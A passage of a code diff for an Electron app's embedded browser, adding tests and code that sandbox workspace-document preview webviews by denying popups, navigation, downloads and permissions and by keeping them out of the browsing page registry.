+import { beforeEach, describe, expect, it, vi } from 'vitest'
+
+const browserMocks = vi.hoisted(() => ({
+  appGetPathMock: vi.fn(() => '/downloads'),
+  shellOpenExternalMock: vi.fn(),
+  browserWindowFromWebContentsMock: vi.fn(),
+  menuBuildFromTemplateMock: vi.fn(),
+  guestOffMock: vi.fn(),
+  guestOnMock: vi.fn(),
+  guestSetBackgroundThrottlingMock: vi.fn(),
+  guestSetWindowOpenHandlerMock: vi.fn(),
+  guestOpenDevToolsMock: vi.fn(),
+  webContentsFromIdMock: vi.fn(),
+  screenGetCursorScreenPointMock: vi.fn(() => ({ x: 0, y: 0 })),
+  openPopupWithOriginBarMock: vi.fn()
+}))
+
+vi.mock('electron', () => ({
+  app: { getPath: browserMocks.appGetPathMock },
+  BrowserWindow: { fromWebContents: browserMocks.browserWindowFromWebContentsMock },
+  clipboard: { writeText: vi.fn() },
+  shell: { openExternal: browserMocks.shellOpenExternalMock },
+  Menu: { buildFromTemplate: browserMocks.menuBuildFromTemplateMock },
+  screen: { getCursorScreenPoint: browserMocks.screenGetCursorScreenPointMock },
+  webContents: { fromId: browserMocks.webContentsFromIdMock }
+}))
+vi.mock('./popup-origin-bar-window', () => ({
+  openPopupWithOriginBar: browserMocks.openPopupWithOriginBarMock
+}))
+
+import { browserManager } from './browser-manager'
+import { resetBrowserManagerMocks, resetBrowserManagerState } from './browser-manager-test-harness'
+import { getWorkspaceDocPageGuest } from './doc-preview-guest-policy'
+import { mintDocPreviewGrant, revokeAllDocPreviewGrants } from './doc-preview-grant-registry'
+import { buildDocPreviewUrl } from '../../shared/doc-preview-scheme'
+
+type GuestFake = {
+  id: number
+  url: string
+  listeners: Map<string, ((...args: never[]) => void)[]>
+  windowOpenHandler: ((details: { url: string; frameName: string }) => unknown) | null
+  webRtcPolicy: string | null
+  isDestroyed: () => boolean
+  isFocused: () => boolean
+  getURL: () => string
+  getType: () => string
+  setBackgroundThrottling: (value: boolean) => void
+  setWebRTCIPHandlingPolicy: (policy: string) => void
+  setWindowOpenHandler: (handler: (details: { url: string; frameName: string }) => unknown) => void
+  executeJavaScriptInIsolatedWorld: ReturnType<typeof vi.fn>
+  debugger: {
+    isAttached: () => boolean
+    attach: ReturnType<typeof vi.fn>
+    sendCommand: ReturnType<typeof vi.fn>
+  }
+  on: (event: string, listener: (...args: never[]) => void) => void
+  once: (event: string, listener: (...args: never[]) => void) => void
+  off: (event: string, listener: (...args: never[]) => void) => void
+}
+
+function createGuest(id: number, url: string): GuestFake {
+  const listeners = new Map<string, ((...args: never[]) => void)[]>()
+  const guest: GuestFake = {
+    id,
+    url,
+    listeners,
+    windowOpenHandler: null,
+    webRtcPolicy: null,
+    isDestroyed: () => false,
+    isFocused: () => true,
+    getURL: () => guest.url,
+    getType: () => 'webview',
+    setBackgroundThrottling: vi.fn(),
+    setWebRTCIPHandlingPolicy: (policy: string) => {
+      guest.webRtcPolicy = policy
+    },
+    setWindowOpenHandler: (handler) => {
+      guest.windowOpenHandler = handler
+    },
+    executeJavaScriptInIsolatedWorld: vi.fn(async () => undefined),
+    debugger: {
+      isAttached: () => true,
+      attach: vi.fn(),
+      sendCommand: vi.fn(async () => undefined)
+    },
+    on: (event, listener) => {
+      listeners.set(event, [...(listeners.get(event) ?? []), listener])
+    },
+    once: (event, listener) => {
+      listeners.set(event, [...(listeners.get(event) ?? []), listener])
+    },
+    off: (event, listener) => {
+      listeners.set(
+        event,
+        (listeners.get(event) ?? []).filter((entry) => entry !== listener)
+      )
+    }
+  }
+  return guest
+}
+
+function listenerCount(guest: GuestFake, event: string): number {
+  return guest.listeners.get(event)?.length ?? 0
+}
+
+/** Drives the guest's own will-navigate listeners and reports whether they refused. */
+function navigateTo(guest: GuestFake, url: string): boolean {
+  let prevented = false
+  const event = { preventDefault: () => (prevented = true) } as never
+  for (const listener of guest.listeners.get('will-navigate') ?? []) {
+    ;(listener as (event: unknown, url: string) => void)(event, url)
+  }
+  return prevented
+}
+
+const host = { id: 5001, send: vi.fn() } as unknown as Electron.WebContents
+
+beforeEach(() => {
+  resetBrowserManagerMocks(browserMocks)
+  resetBrowserManagerState()
+  revokeAllDocPreviewGrants()
+  browserMocks.guestSetBackgroundThrottlingMock.mockReturnValue(undefined)
+})
+
+describe('guest policy profiles', () => {
+  function attachPreviewGuest(id = 301): {
+    guest: GuestFake
+    grantId: string
+    browserPageId: string
+  } {
+    const browserPageId = `doc-page-${id}`
+    const grant = mintDocPreviewGrant({
+      owner: { kind: 'ssh', connectionId: 'ssh-1' },
+      root: '/home/alice/docs',
+      entryRelativePath: 'index.html',
+      browserPageId
+    })
+    const guest = createGuest(id, buildDocPreviewUrl(grant.id, 'index.html'))
+    browserManager.attachGuestPolicies(guest as never, null, { profile: 'workspace-doc', host })
+    return { guest, grantId: grant.id, browserPageId }
+  }
+
+  // The presence half of every absence below: a browsing guest observably takes all of it through
+  // the same method, so a profile that fenced nothing — or an attach path that stopped installing
+  // anything at all — cannot pass these by being uniformly empty.
+  it('gives a browsing guest link routing, popups and anti-detection', () => {
+    const guest = createGuest(300, 'https://example.com/')
+
+    browserManager.attachGuestPolicies(guest as never)
+
+    expect(listenerCount(guest, 'dom-ready')).toBe(1)
+    expect(listenerCount(guest, 'frame-created')).toBe(1)
+    expect(listenerCount(guest, 'did-create-window')).toBe(1)
+    expect(guest.debugger.sendCommand).toHaveBeenCalled()
+    expect(navigateTo(guest, 'https://elsewhere.example/')).toBe(false)
+  })
+
+  it('gives a workspace-document guest none of it', () => {
+    const { guest } = attachPreviewGuest()
+
+    expect(listenerCount(guest, 'dom-ready')).toBe(0)
+    expect(listenerCount(guest, 'frame-created')).toBe(0)
+    expect(listenerCount(guest, 'did-create-window')).toBe(0)
+    expect(guest.debugger.sendCommand).not.toHaveBeenCalled()
+    expect(guest.executeJavaScriptInIsolatedWorld).not.toHaveBeenCalled()
+  })
+
+  it('holds a workspace-document guest inside the grant it is showing', () => {
+    const { guest, grantId } = attachPreviewGuest()
+
+    expect(navigateTo(guest, buildDocPreviewUrl(grantId, 'other.html'))).toBe(false)
+    expect(navigateTo(guest, 'https://example.com/')).toBe(true)
+    expect(guest.webRtcPolicy).toBe('disable_non_proxied_udp')
+  })
+
+  it('denies every window a workspace-document guest asks for', () => {
+    const { guest } = attachPreviewGuest()
+
+    expect(guest.windowOpenHandler?.({ url: 'https://example.com/', frameName: '' })).toEqual({
+      action: 'deny'
+    })
+  })
+
+  // Why teardown and not just install: registration and teardown both key on the guest having been
+  // policy-attached, so a profile that installs outside that bookkeeping leaves the id marked
+  // attached forever and stays answerable to tools after the surface is gone.
+  it('tears a workspace-document guest down through the same policy cleanup', () => {
+    const { guest, browserPageId } = attachPreviewGuest(302)
+    expect(getWorkspaceDocPageGuest(browserPageId, host.id)).toBe(guest as never)
+
+    for (const listener of guest.listeners.get('destroyed') ?? []) {
+      listener()
+    }
+
+    expect(getWorkspaceDocPageGuest(browserPageId, host.id)).toBeNull()
+    // The manager's own bookkeeping was reached too: a second attach is refused while the id is
+    // still marked policy-attached, and accepted once its teardown has run.
+    browserManager.attachGuestPolicies(guest as never)
+    expect(listenerCount(guest, 'dom-ready')).toBe(1)
+  })
+
+  // The seam the whole split rests on: one public door answers for both halves, and each page id
+  // resolves in exactly one of them. Asserted against the real manager, because the IPC census
+  // test has to mock it.
+  describe('the one door across both halves of the registry', () => {
+    const BROWSING_PAGE_ID = 'browser-page-1'
+
+    function registerBrowsingGuest(id = 400): GuestFake {
+      const guest = createGuest(id, 'https://example.com/')
+      browserMocks.webContentsFromIdMock.mockReturnValue(guest)
+      browserManager.attachGuestPolicies(guest as never)
+      browserManager.registerGuest({
+        browserPageId: BROWSING_PAGE_ID,
+        workspaceId: 'workspace-1',
+        worktreeId: 'wt-1',
+        webContentsId: id,
+        rendererWebContentsId: host.id
+      })
+      return guest
+    }
+
+    it('answers each page with the guest of its own half', () => {
+      const browsing = registerBrowsingGuest()
+      const { guest: document, browserPageId } = attachPreviewGuest()
+
+      expect(browserManager.getAuthorizedGuest(BROWSING_PAGE_ID, host.id)).toBe(browsing as never)
+      expect(browserManager.getAuthorizedGuest(browserPageId, host.id)).toBe(document as never)
+    })
+
+    // Why this is the containment claim and not a lookup detail: page management, agent commands,
+    // download routing and certificate attribution all read the browsing map directly, so a
+    // document page being absent from it is what fences them without a guard of their own.
+    it('keeps a document page out of the browsing map entirely', () => {
+      registerBrowsingGuest()
+      const { browserPageId } = attachPreviewGuest()
+
+      expect(browserManager.getGuestWebContentsId(browserPageId)).toBeNull()
+      expect([...browserManager.getWebContentsIdByTabId().keys()]).toEqual([BROWSING_PAGE_ID])
+    })
+  })
+
+  it('attaches a guest once whatever profile it was asked for', () => {
+    const { guest } = attachPreviewGuest(303)
+
+    browserManager.attachGuestPolicies(guest as never)
+
+    expect(listenerCount(guest, 'dom-ready')).toBe(0)
+    expect(listenerCount(guest, 'will-navigate')).toBe(1)
+  })
+})
diff --git a/src/main/browser/browser-manager-viewport-override.test.ts b/src/main/browser/browser-manager-viewport-override.test.ts
index c72936cf6a3..b7d3bbabe0a 100644
--- a/src/main/browser/browser-manager-viewport-override.test.ts
+++ b/src/main/browser/browser-manager-viewport-override.test.ts
@@ -882,34 +882,5 @@ describe('browserManager', () => {
       expect(debuggerAttach).toHaveBeenCalledWith('1.3')
       expect(debuggerSendCommand).not.toHaveBeenCalled()
     })
-
-    it('installs annotation viewport bridge in an isolated world', async () => {
-      const { guest } = makeGuest(4646)
-      webContentsFromIdMock.mockReturnValue(guest)
-      browserManager.attachGuestPolicies(guest as never)
-      browserManager.registerGuest({
-        browserPageId: 'tab-annotations',
-        webContentsId: guest.id as number,
-        rendererWebContentsId
-      })
-
-      const ok = await browserManager.setAnnotationViewportBridge('tab-annotations', {
-        emitViewport: false,
-        enabled: true,
-        markers: [],
-        token: 'annotationviewporttoken'
-      })
-
-      expect(ok).toBe(true)
-      expect(guest.executeJavaScriptInIsolatedWorld).toHaveBeenCalledWith(
-        expect.any(Number),
-        [
-          expect.objectContaining({
-            code: expect.stringContaining('__orcaBrowserAnnotationViewportBridge')
-          })
-        ],
-        false
-      )
-    })
   })
 })
diff --git a/src/main/browser/browser-manager.ts b/src/main/browser/browser-manager.ts
index 7ac64b485b9..2b43e17a371 100644
--- a/src/main/browser/browser-manager.ts
+++ b/src/main/browser/browser-manager.ts
@@ -63,6 +63,11 @@ import {
   BROWSER_ANNOTATION_VIEWPORT_BRIDGE_WORLD_ID,
   buildBrowserAnnotationViewportBridgeScript
 } from '../../shared/browser-annotation-viewport-bridge'
+import {
+  getWorkspaceDocPageGuest,
+  installDocPreviewGuestPolicy,
+  isWorkspaceDocPageId
+} from './doc-preview-guest-policy'
 import type { KeybindingOverrides } from '../../shared/keybindings'
 import {
   BrowserCertificateTrustController,
@@ -157,6 +162,15 @@ type PopupOwnerContext = {
   browserTabId: string
   rootGuestWebContentsId: number
 }
+/**
+ * What a guest is allowed to be. A browsing guest is the web — popups, clicked-link routing and
+ * anti-detection all apply. A workspace-document guest renders one granted document and gets none
+ * of that; `host` is the renderer that minted its grant, and the only sink for what it reports.
+ */
+export type BrowserGuestPolicy =
+  | { profile: 'browsing' }
+  | { profile: 'workspace-doc'; host: Electron.WebContents }
+const BROWSING_GUEST_POLICY: BrowserGuestPolicy = { profile: 'browsing' }
 type PendingMainFrameNavigation = {
   currentUrl: string
   supersededUrls: string[]
@@ -671,12 +685,20 @@ export class BrowserManager {
 
   attachGuestPolicies(
     guest: Electron.WebContents,
-    inheritedOwnerContext: PopupOwnerContext | null = null
+    inheritedOwnerContext: PopupOwnerContext | null = null,
+    policy: BrowserGuestPolicy = BROWSING_GUEST_POLICY
   ): void {
     if (this.policyAttachedGuestIds.has(guest.id)) {
       return
     }
     this.policyAttachedGuestIds.add(guest.id)
+    // Why one door with a profile rather than a second installer beside it: whether a guest was
+    // policy-attached at all is what registration and teardown both key on, so a guest that took
+    // another path into the app is invisible to both.
+    if (policy.profile === 'workspace-doc') {
+      this.attachWorkspaceDocGuestPolicies(guest, policy.host)
+      return
+    }
     if (inheritedOwnerContext) {
       this.popupOwnerContextByGuestId.set(guest.id, inheritedOwnerContext)
     }
@@ -1016,6 +1038,30 @@ export class BrowserManager {
     })
   }
 
+  /**
+   * A workspace document is not the web: no popups, no link routing, no anti-detection, and no
+   * navigation bookkeeping for chrome it does not have. What it does share with a browsing guest is
+   * this method's teardown, so a retired preview drops its listeners on the same path.
+   */
+  private attachWorkspaceDocGuestPolicies(
+    guest: Electron.WebContents,
+    host: Electron.WebContents
+  ): void {
+    const disposeDocPolicy = installDocPreviewGuestPolicy(guest, host)
+    const handleDestroyed = (): void => {
+      this.cleanupGuestPolicyAttachment(guest.id)
+    }
+    guest.on('destroyed', handleDestroyed)
+    this.policyCleanupByGuestId.set(guest.id, () => {
+      disposeDocPolicy()
+      try {
+        guest.off('destroyed', handleDestroyed)
+      } catch {
+        // guest may already be destroyed
+      }
+    })
+  }
+
   // Why: navigator.userAgent (read by Google's auth JS) reflects the WebContents UA,
   // not the request header, so the header-level Firefox switch in setupClientHintsOverride
   // must be matched here per navigation or the two layers disagree — itself a bot tell.
@@ -1318,7 +1364,9 @@ export class BrowserManager {
     rendererWebContentsId
   }: BrowserGuestRegistration): boolean {
     const browserTabId = browserPageId ?? legacyBrowserTabId
-    if (!browserTabId) {
+    // Why refuse rather than overwrite: the two halves of the registry must stay disjoint, or one
+    // id resolves in both and the tool door silently prefers the document guest over the page.
+    if (!browserTabId || isWorkspaceDocPageId(browserTabId)) {
       return false
     }
     // Why: on guest-surface swap, cancel any grab bound to the old guest's listeners so it doesn't strand on a stale webContents.
@@ -1377,6 +1425,12 @@ export class BrowserManager {
   }
 
   unregisterGuest(browserTabId: string): void {
+    // Why the check on the exit door too: a document page withdraws by revoking its grant, never
+    // through here, so its id arriving is misaddressed — and the cancel below would evict that
+    // preview's live grab on the strength of it.
+    if (isWorkspaceDocPageId(browserTabId)) {
+      return
+    }
     // Why: teardown mid-grab must cancel it so the renderer gets a signal, not a dangling Promise.
     this.cancelGrabOp(browserTabId, 'evicted')
 
@@ -1444,10 +1498,15 @@ export class BrowserManager {
     sessionProfileId?: string | null
     userAgentMode?: BrowserSessionUserAgentMode
     webContentsId: number
-  }): void {
+  }): boolean {
+    // Why the same check on both registration doors: one id resolving in both halves is the exact
+    // confusion the split registries exist to prevent.
+    if (isWorkspaceDocPageId(browserPageId)) {
+      return false
+    }
     const guest = webContents.fromId(webContentsId)
     if (!guest || guest.isDestroyed()) {
-      return
+      return false
     }
     // Why: offscreen pages have no renderer webview listeners, so main owns their load-failure lifecycle.
     this.offscreenGuestIds.add(webContentsId)
@@ -1468,6 +1527,7 @@ export class BrowserManager {
       this.worktreeIdByTabId.set(browserPageId, worktreeId)
     }
     this.certificateTrustController?.onGuestRegistered(webContentsId, browserPageId)
+    return true
   }
 
   unregisterAll(): void {
@@ -1843,12 +1903,13 @@ export class BrowserManager {
 
   async setAnnotationViewportBridge(
     browserTabId: string,
-    options: BrowserAnnotationViewportBridgeOptions
+    options: BrowserAnnotationViewportBridgeOptions,
+    resolveGuest: () => Electron.WebContents | null
   ): Promise<boolean> {
     const prev = this.annotationViewportBridgeOpsByTabId.get(browserTabId) ?? Promise.resolve()
     const next = prev
       .catch(() => {})
-      .then(() => this.doSetAnnotationViewportBridgeImpl(browserTabId, options))
+      .then(() => this.doSetAnnotationViewportBridgeImpl(options, resolveGuest))
     this.annotationViewportBridgeOpsByTabId.set(browserTabId, next)
     try {
       return await next
@@ -1859,18 +1920,22 @@ export class BrowserManager {
     }
   }
 
+  // Why the caller resolves the guest: the same bridge serves browsing pages and workspace
+  // documents, which live in different halves of the page registry.
+  // Why a resolver and not the guest itself: this op may have waited behind another one, and a
+  // cross-process navigation meanwhile swaps the tab's contents without destroying the old one —
+  // injecting into the guest the request named would bridge a page nobody is looking at.
+  // Why no tab id: with teardown gone this reaches only the guest the resolver hands back, and
+  // taking an id it cannot act on would invite the next reader to act on it.
   private async doSetAnnotationViewportBridgeImpl(
-    browserTabId: string,
-    options: BrowserAnnotationViewportBridgeOptions
+    options: BrowserAnnotationViewportBridgeOptions,
+    resolveGuest: () => Electron.WebContents | null
   ): Promise<boolean> {
-    const webContentsId = this.webContentsIdByTabId.get(browserTabId)
-    if (!webContentsId) {
-      return false
-    }
-    const guest = webContents.fromId(webContentsId)
+    // Why no teardown here: the resolver already unregisters a page whose guest died, and the only
+    // case it uniquely leaves is an ownership mismatch on a healthy page — where tearing down would
+    // cancel that page's in-flight downloads and grabs over a request that was merely misaddressed.
+    const guest = resolveGuest()
     if (!guest || guest.isDestroyed()) {
-      // Why: a stale guest must clear every per-tab registry entry, not just the WebContents maps.
-      this.unregisterGuest(browserTabId)
       return false
     }
 
@@ -1977,10 +2042,21 @@ export class BrowserManager {
   // --- Browser Context Grab — main-owned operations ---
 
   /** Validate that the sender owns browserTabId; returns the guest WebContents or null. */
+  /**
+   * The guest a request from `senderWebContentsId` may act on, across both halves of the page
+   * registry. This is the only door taught about workspace-document guests: they are kept out of
+   * the browsing maps entirely, so page management, agent commands, download routing and
+   * certificate attribution all miss them without a guard of their own — and a reader who opens a
+   * tool on the document in front of them still gets an answer.
+   */
   getAuthorizedGuest(
     browserTabId: string,
     senderWebContentsId: number
   ): Electron.WebContents | null {
+    const docGuest = getWorkspaceDocPageGuest(browserTabId, senderWebContentsId)
+    if (docGuest) {
+      return docGuest
+    }
     const registeredRenderer = this.rendererWebContentsIdByTabId.get(browserTabId)
     if (registeredRenderer == null || registeredRenderer !== senderWebContentsId) {
       return null
diff --git a/src/main/browser/browser-session-partition-policies.test.ts b/src/main/browser/browser-session-partition-policies.test.ts
new file mode 100644
index 00000000000..78ce34d95fd
--- /dev/null
+++ b/src/main/browser/browser-session-partition-policies.test.ts
@@ -0,0 +1,235 @@
+import { beforeEach, describe, expect, it, vi } from 'vitest'
+import type { BrowserSessionProfile } from '../../shared/browser-workspace-types'
+
+const mocks = vi.hoisted(() => ({
+  handleGuestWillDownload: vi.fn(),
+  noticeDocPreviewDownloadBlocked: vi.fn(),
+  clearBrowserWebAuthnAccessHandlers: vi.fn(),
+  installBrowserWebAuthnAccessHandlers: vi.fn()
+}))
+
+type WillDownloadListener = (
+  event: { preventDefault: () => void },
+  item: { id: string },
+  webContents: { id: number }
+) => void
+
+type FakeSession = {
+  listeners: WillDownloadListener[]
+  on: ReturnType<typeof vi.fn>
+  removeListener: ReturnType<typeof vi.fn>
+  getUserAgent: () => string
+  setUserAgent: ReturnType<typeof vi.fn>
+  setPermissionRequestHandler: ReturnType<typeof vi.fn>
+  setPermissionCheckHandler: ReturnType<typeof vi.fn>
+  setDisplayMediaRequestHandler: ReturnType<typeof vi.fn>
+}
+
+const sessionsByPartition = new Map<string, FakeSession>()
+
+function fakeSession(): FakeSession {
+  const listeners: WillDownloadListener[] = []
+  return {
+    listeners,
+    on: vi.fn((event: string, listener: WillDownloadListener) => {
+      if (event === 'will-download') {
+        listeners.push(listener)
+      }
+    }),
+    removeListener: vi.fn((event: string, listener: WillDownloadListener) => {
+      if (event !== 'will-download') {
+        return
+      }
+      const index = listeners.indexOf(listener)
+      if (index !== -1) {
+        listeners.splice(index, 1)
+      }
+    }),
+    getUserAgent: () => 'Mozilla/5.0 Orca',
+    setUserAgent: vi.fn(),
+    setPermissionRequestHandler: vi.fn(),
+    setPermissionCheckHandler: vi.fn(),
+    setDisplayMediaRequestHandler: vi.fn()
+  }
+}
+
+vi.mock('electron', () => ({
+  session: {
+    fromPartition: (partition: string) => {
+      const existing = sessionsByPartition.get(partition)
+      if (existing) {
+        return existing
+      }
+      const created = fakeSession()
+      sessionsByPartition.set(partition, created)
+      return created
+    }
+  }
+}))
+vi.mock('./browser-manager', () => ({
+  browserManager: {
+    handleGuestWillDownload: mocks.handleGuestWillDownload,
+    installCertificateRequestGuard: vi.fn(),
+    removeCertificateRequestGuard: vi.fn(),
+    notifyPermissionDenied: vi.fn()
+  }
+}))
+vi.mock('./doc-preview-download-block-notice', () => ({
+  noticeDocPreviewDownloadBlocked: mocks.noticeDocPreviewDownloadBlocked
+}))
+vi.mock('./browser-media-access', () => ({
+  hasSystemMediaAccess: () => false,
+  requestSystemMediaAccess: async () => false
+}))
+vi.mock('./browser-session-ua', () => ({
+  cleanElectronUserAgent: (userAgent: string) => userAgent,
+  setupClientHintsOverride: vi.fn()
+}))
+vi.mock('./browser-session-user-agent-mode', () => ({
+  setBrowserSessionUserAgentMode: vi.fn()
+}))
+vi.mock('./browser-webauthn-access', () => ({
+  allowsBrowserWebAuthnPermission: () => false,
+  clearBrowserWebAuthnAccessHandlers: mocks.clearBrowserWebAuthnAccessHandlers,
+  installBrowserWebAuthnAccessHandlers: mocks.installBrowserWebAuthnAccessHandlers
+}))
+
+type PartitionPolicyInstaller = (
+  profile: BrowserSessionProfile,
+  options?: { downloads?: 'route' | 'deny'; permissions?: 'browser' | 'deny' }
+) => void
+
+// Why imported per test rather than at the top: the installer remembers which partitions it has
+// already configured in module state, so a shared import would make the second test's install a
+// no-op and leave it reading the first test's listener.
+async function loadInstaller(): Promise<PartitionPolicyInstaller> {
+  const module = await import('./browser-session-partition-policies')
+  return module.installBrowserSessionPartitionPolicies
+}
+
+function profileFor(partition: string): BrowserSessionProfile {
+  return {
+    id: partition,
+    scope: 'isolated',
+    partition,
+    label: partition,
+    source: null,
+    userAgentMode: 'clean'
+  }
+}
+
+/** Fires the partition's real `will-download` listener and reports what it decided. */
+function fireWillDownload(partition: string): { cancelled: boolean } {
+  const sess = sessionsByPartition.get(partition)
+  if (!sess || sess.listeners.length !== 1) {
+    throw new Error(`expected exactly one will-download listener on ${partition}`)
+  }
+  let cancelled = false
+  sess.listeners[0]({ preventDefault: () => (cancelled = true) }, { id: 'item-1' }, { id: 42 })
+  return { cancelled }
+}
+
+beforeEach(() => {
+  vi.clearAllMocks()
+  sessionsByPartition.clear()
+  vi.resetModules()
+})
+
+describe('partition download policy', () => {
+  // The presence half: without it, a deny assertion passes for a partition that installed no
+  // listener at all, and would keep passing if the whole download path were removed.
+  it('routes a download on a partition that did not ask for the deny', async () => {
+    const install = await loadInstaller()
+    install(profileFor('persist:browsing-1'))
+
+    expect(fireWillDownload('persist:browsing-1').cancelled).toBe(false)
+    expect(mocks.handleGuestWillDownload).toHaveBeenCalledWith(
+      expect.objectContaining({ guestWebContentsId: 42 })
+    )
+  })
+
+  it('cancels a download on a partition that asked for the deny, routing nothing', async () => {
+    const install = await loadInstaller()
+    install(profileFor('orca-doc-preview'), { downloads: 'deny' })
+
+    expect(fireWillDownload('orca-doc-preview').cancelled).toBe(true)
+    expect(mocks.handleGuestWillDownload).not.toHaveBeenCalled()
+  })
+
+  // Why in the same run as the routing test above: a refusal the reader cannot see is a pressed
+  // button that does nothing, and a notice on the routing partition would announce a download that
+  // is about to arrive normally.
+  it('tells the reader about the refusal, and only on the partition that refused', async () => {
+    const install = await loadInstaller()
+    install(profileFor('orca-doc-preview'), { downloads: 'deny' })
+    install(profileFor('persist:browsing-1'))
+
+    fireWillDownload('persist:browsing-1')
+    expect(mocks.noticeDocPreviewDownloadBlocked).not.toHaveBeenCalled()
+
+    fireWillDownload('orca-doc-preview')
+    expect(mocks.noticeDocPreviewDownloadBlocked).toHaveBeenCalledWith(
+      expect.objectContaining({ id: 42 })
+    )
+  })
+
+  // Why both partitions in one run: the listener is module state shared across sessions, so a deny
+  // installed for one partition must not follow the next partition that installs after it.
+  it('keeps each partition on its own decision', async () => {
+    const install = await loadInstaller()
+    install(profileFor('orca-doc-preview'), { downloads: 'deny' })
+    install(profileFor('persist:browsing-1'))
+
+    expect(fireWillDownload('orca-doc-preview').cancelled).toBe(true)
+    expect(fireWillDownload('persist:browsing-1').cancelled).toBe(false)
+    expect(mocks.handleGuestWillDownload).toHaveBeenCalledTimes(1)
+  })
+})
+
+describe('partition permission policy', () => {
+  it('keeps ordinary browser partitions on the browser permission policy', async () => {
+    const install = await loadInstaller()
+    install(profileFor('persist:browsing-1'))
+
+    expect(mocks.installBrowserWebAuthnAccessHandlers).toHaveBeenCalledWith(
+      sessionsByPartition.get('persist:browsing-1')
+    )
+    expect(mocks.clearBrowserWebAuthnAccessHandlers).not.toHaveBeenCalled()
+  })
+
+  it('denies every request and check on a strict partition without WebAuthn handlers', async () => {
+    const install = await loadInstaller()
+    install(profileFor('orca-doc-preview'), { permissions: 'deny' })
+    const sess = sessionsByPartition.get('orca-doc-preview')
+    if (!sess) {
+      throw new Error('Expected the preview session')
+    }
+    const requestHandler = sess.setPermissionRequestHandler.mock.calls[0]?.[0] as (
+      webContents: Electron.WebContents,
+      permission: string,
+      callback: (allowed: boolean) => void
+    ) => void
+    const checkHandler = sess.setPermissionCheckHandler.mock.calls[0]?.[0] as (
+      webContents: Electron.WebContents,
+      permission: string
+    ) => boolean
+    const displayMediaHandler = sess.setDisplayMediaRequestHandler.mock.calls[0]?.[0] as (
+      request: Electron.DisplayMediaRequestHandlerHandlerRequest,
+      callback: (streams: { video?: Electron.WebFrameMain; audio?: 'loopback' }) => void
+    ) => void
+
+    for (const permission of ['media', 'clipboard-read', 'notifications', 'fullscreen']) {
+      let decision: boolean | null = null
+      requestHandler({} as Electron.WebContents, permission, (allowed) => (decision = allowed))
+      expect(decision).toBe(false)
+      expect(checkHandler({} as Electron.WebContents, permission)).toBe(false)
+    }
+    expect(mocks.installBrowserWebAuthnAccessHandlers).not.toHaveBeenCalled()
+    expect(mocks.clearBrowserWebAuthnAccessHandlers).toHaveBeenCalledWith(sess)
+    let displayMediaDecision: { video?: Electron.WebFrameMain; audio?: 'loopback' } | null = null
+    displayMediaHandler({} as Electron.DisplayMediaRequestHandlerHandlerRequest, (decision) => {
+      displayMediaDecision = decision
+    })
+    expect(displayMediaDecision).toEqual({ video: undefined, audio: undefined })
+  })
+})
diff --git a/src/main/browser/browser-session-partition-policies.ts b/src/main/browser/browser-session-partition-policies.ts
index 2118c62ed68..11f1f741e5e 100644
--- a/src/main/browser/browser-session-partition-policies.ts
+++ b/src/main/browser/browser-session-partition-policies.ts
@@ -11,6 +11,7 @@ import {
   clearBrowserWebAuthnAccessHandlers,
   installBrowserWebAuthnAccessHandlers
 } from './browser-webauthn-access'
+import { noticeDocPreviewDownloadBlocked } from './doc-preview-download-block-notice'
 
 // Why: one shared installer keeps every partition's deny-by-default permission/download policies from drifting apart.
 const configuredPartitions = new Set<string>()
@@ -22,6 +23,23 @@ const handleWillDownload = (
   browserManager.handleGuestWillDownload({ guestWebContentsId: webContents.id, item })
 }
 
+/**
+ * Why a second listener instead of a branch inside the shared one: `will-download` is a session
+ * event that names no partition, so the only place the decision can be keyed by partition is which
+ * listener that partition's session got. A workspace-document guest has no page of its own to
+ * attribute a download to, so routing one lands it in this desktop's Downloads folder under a
+ * remote-authored name that nothing in the UI accounts for.
+ */
+const handleDeniedWillDownload = (
+  event: Electron.Event,
+  _item: Electron.DownloadItem,
+  webContents: Electron.WebContents
+): void => {
+  event.preventDefault()
+  // The page gets nothing back; the reader gets a sentence, or a pressed button just does nothing.
+  noticeDocPreviewDownloadBlocked(webContents)
+}
+
 function resolvePermissionNoticeUrl(
   webContents: Electron.WebContents,
   details: Electron.PermissionRequest | undefined
@@ -37,7 +55,17 @@ function resolvePermissionNoticeUrl(
   }
 }
 
-export function installBrowserSessionPartitionPolicies(profile: BrowserSessionProfile): void {
+/** `route` hands the item to the owning page's download flow; `deny` cancels it before it starts. */
+export type BrowserPartitionDownloadPolicy = 'route' | 'deny'
+export type BrowserPartitionPermissionPolicy = 'browser' | 'deny'
+
+export function installBrowserSessionPartitionPolicies(
+  profile: BrowserSessionProfile,
+  options?: {
+    downloads?: BrowserPartitionDownloadPolicy
+    permissions?: BrowserPartitionPermissionPolicy
+  }
+): void {
   const { partition } = profile
   const sess = session.fromPartition(partition)
   setBrowserSessionUserAgentMode(sess, profile.userAgentMode ?? 'clean')
@@ -51,62 +79,72 @@ export function installBrowserSessionPartitionPolicies(profile: BrowserSessionPr
     sess.setUserAgent(cleanUA)
     setupClientHintsOverride(sess, cleanUA)
   }
-  sess.setPermissionRequestHandler((webContents, permission, callback, details) => {
-    // Why: defer media to macOS TCC; denying at the session layer throws NotAllowedError even after the user granted Camera/Mic to the OS.
-    if (permission === 'media') {
-      // Capture before async handling; opaque frames cannot be attributed to a named site.
-      const rawUrl = resolvePermissionNoticeUrl(webContents, details)
-      void requestSystemMediaAccess(
-        details as Electron.MediaAccessPermissionRequest | undefined
-      ).then(
-        (granted) => {
-          if (!granted) {
+  if (options?.permissions === 'deny') {
+    sess.setPermissionRequestHandler((_webContents, _permission, callback) => callback(false))
+    sess.setPermissionCheckHandler(() => false)
+    clearBrowserWebAuthnAccessHandlers(sess)
+  } else {
+    sess.setPermissionRequestHandler((webContents, permission, callback, details) => {
+      // Why: defer media to macOS TCC; denying at the session layer throws NotAllowedError even after the user granted Camera/Mic to the OS.
+      if (permission === 'media') {
+        // Capture before async handling; opaque frames cannot be attributed to a named site.
+        const rawUrl = resolvePermissionNoticeUrl(webContents, details)
+        void requestSystemMediaAccess(
+          details as Electron.MediaAccessPermissionRequest | undefined
+        ).then(
+          (granted) => {
+            if (!granted) {
+              browserManager.notifyPermissionDenied({
+                guestWebContentsId: webContents.id,
+                permission,
+                rawUrl
+              })
+            }
+            callback(granted)
+          },
+          (error: unknown) => {
+            console.error('[permissions] Browser media access failed:', error)
             browserManager.notifyPermissionDenied({
               guestWebContentsId: webContents.id,
               permission,
               rawUrl
             })
+            callback(false)
           }
-          callback(granted)
-        },
-        (error: unknown) => {
-          console.error('[permissions] Browser media access failed:', error)
-          browserManager.notifyPermissionDenied({
